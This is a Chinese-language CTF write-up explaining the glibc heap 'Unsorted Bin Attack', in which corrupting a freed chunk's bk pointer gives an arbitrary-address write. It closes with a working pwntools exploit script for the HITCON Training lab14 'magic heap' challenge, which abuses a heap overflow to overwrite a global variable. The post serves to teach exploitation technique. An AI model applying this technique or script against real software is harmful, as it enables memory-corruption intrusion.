堆溢出-Unsorted Bin Attack

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kabeor 1月 15, 2020

堆溢出-Unsorted Bin Attack

被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针,可以达到的效果是实现修改任意地址值为一个较大的数值。

原理

Unsorted Bin 的产生

  1. 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
  2. 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。
  3. 当进行 malloc_consolidate 时,如果不是和 top chunk 近邻的话,可能会把合并后的 chunk 放到 unsorted bin 中。

Unsorted Bin 的使用

  1. Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO,即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取
  2. 在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。

_int_malloc 中,当将一个 unsorted bin 取出的时候,会将 bk->fd 的位置写入本 Unsorted Bin 的位置,如果我们控制了 bk 的值,我们就能将 unsorted_chunks (av) 写到任意地址。

/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

image.png

初始状态时
unsorted bin 的 fd 和 bk 均指向 unsorted bin 本身。

执行 free(p)
由于释放的 chunk 大小不属于 fast bin 范围内,所以会首先放入到 unsorted bin 中。

修改 p[1]
经过修改之后,原来在 unsorted bin 中的 p 的 bk 指针就会指向 target addr-16 处伪造的 chunk,即 Target Value 处于伪造 chunk 的 fd 处。

申请 400 大小的 chunk
此时,所申请的 chunk 处于 small bin 所在的范围,其对应的 bin 中暂时没有 chunk,所以会去 unsorted bin 中找,发现 unsorted bin 不空,于是把 unsorted bin 中的最后一个 chunk 拿出来。

victim = unsorted_chunks(av)->bk=p
bck = victim->bk=p->bk = target addr-16
unsorted_chunks(av)->bk = bck=target addr-16
bck->fd = *(target addr -16+16) = unsorted_chunks(av);

在将 unsorted bin 的最后一个 chunk 拿出来的过程中,victim 的 fd 并没有发挥作用,所以即使修改了其为一个不合法的值也没有关系。然而,需要注意的是,unsorted bin 链表可能就此破坏,在插入 chunk 时,可能会出现问题。

作用

  • 通过修改循环的次数来使得程序可以执行多次循环。
  • 可以修改 heap 中的 global_max_fast 来使得更大的 chunk 可以被视为 fast bin,这样就可以去执行一些 fast bin attack 了。

例 HITCON Training lab14 magic heap

功能

  puts("--------------------------------");
puts(" Magic Heap Creator ");
puts("--------------------------------");
puts(" 1. Create a Heap ");
puts(" 2. Edit a Heap ");
puts(" 3. Delete a Heap ");
puts(" 4. Exit ");
puts("--------------------------------");
return printf("Your choice :");

create_heap();
edit_heap(&buf, &buf);
delete_heap(&buf, &buf);

漏洞点

  1. 创建堆。根据用户指定大小申请相应堆,并且读入指定长度的内容,但是并没有设置 NULL。
  2. 编辑堆。根据指定的索引判断对应堆是不是非空,如果非空,就根据用户读入的大小,来修改堆的内容,这里出现了任意长度堆溢出的漏洞。
  3. 删除堆。根据指定的索引判断对应堆是不是非空,如果非空,就将对应堆释放并置为 NULL。

当控制 v3 为 4869,同时控制 magic 大于 4869,就可以得到 flag 。

利用

  1. 释放一个堆块到 unsorted bin 中。
  2. 利用堆溢出漏洞修改 unsorted bin 中对应堆块的 bk 指针为 &magic-16。
  3. 触发漏洞

exp

# -*- coding: utf-8 -*-
from pwn import *

r = process('./magicheap')
elf = ELF("./magicheap")
context.log_level = 'debug'

def create_heap(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)

def edit_heap(idx, size, content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)

def del_heap(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))

create_heap(0x20, "dada") # 0
create_heap(0x80, "dada") # 1
# in order not to merge into top chunk
create_heap(0x20, "dada") # 2
del_heap(1)

fd = 0x0

payload = "a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(elf.symbols["magic"] - 0x10)
edit_heap(0, 0x40,payload)
#gdb.attach(r)
create_heap(0x80, "123456")

r.recvuntil(":")
r.sendline("4869")
r.interactive()

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